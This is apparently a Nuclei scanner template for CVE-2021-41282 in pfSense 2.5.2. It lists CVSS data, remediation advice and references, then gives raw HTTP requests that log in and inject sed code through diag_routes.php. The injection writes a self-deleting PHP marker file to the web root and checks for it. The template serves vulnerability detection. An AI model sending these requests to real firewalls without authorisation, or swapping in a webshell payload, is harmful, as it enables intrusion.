id: CVE-2021-41282 info: name: pfSense - Arbitrary File Write author: cckuailong severity: high description: | diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location. remediation: | Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later. reference: - https://www.shielder.it/advisories/pfsense-remote-command-execution/ - https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/ - https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc - https://nvd.nist.gov/vuln/detail/CVE-2021-41282 - https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-41282 cwe-id: CWE-74 epss-score: 0.97233 epss-percentile: 0.99773 cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:* metadata: max-request: 4 vendor: pfsense product: pfsense tags: cve,cve2021,pfsense,rce,authenticated http: - raw: - | GET /index.php HTTP/1.1 Host: {{Hostname}} - | POST /index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded __csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login= - | GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1 Host: {{Hostname}} - | GET /test.php HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - "contains(body, 'c3959e8a43f1b39b0d1255961685a238')" - "status_code==200" condition: and extractors: - type: regex name: csrf_token group: 1 regex: - '(sid:[a-z0-9,;:]+)' internal: true part: body # digest: 4a0a00473045022100bead6b2a39a58a818fbb0cc6d366a4ba6931724106d35a9e25e2e901fc2bb10002200efb4eb402ac1ce97d20e6efd703e196442da7bb2f4c94809401fb3d86db82d2:922c64590222798bb761d5b6d8e72950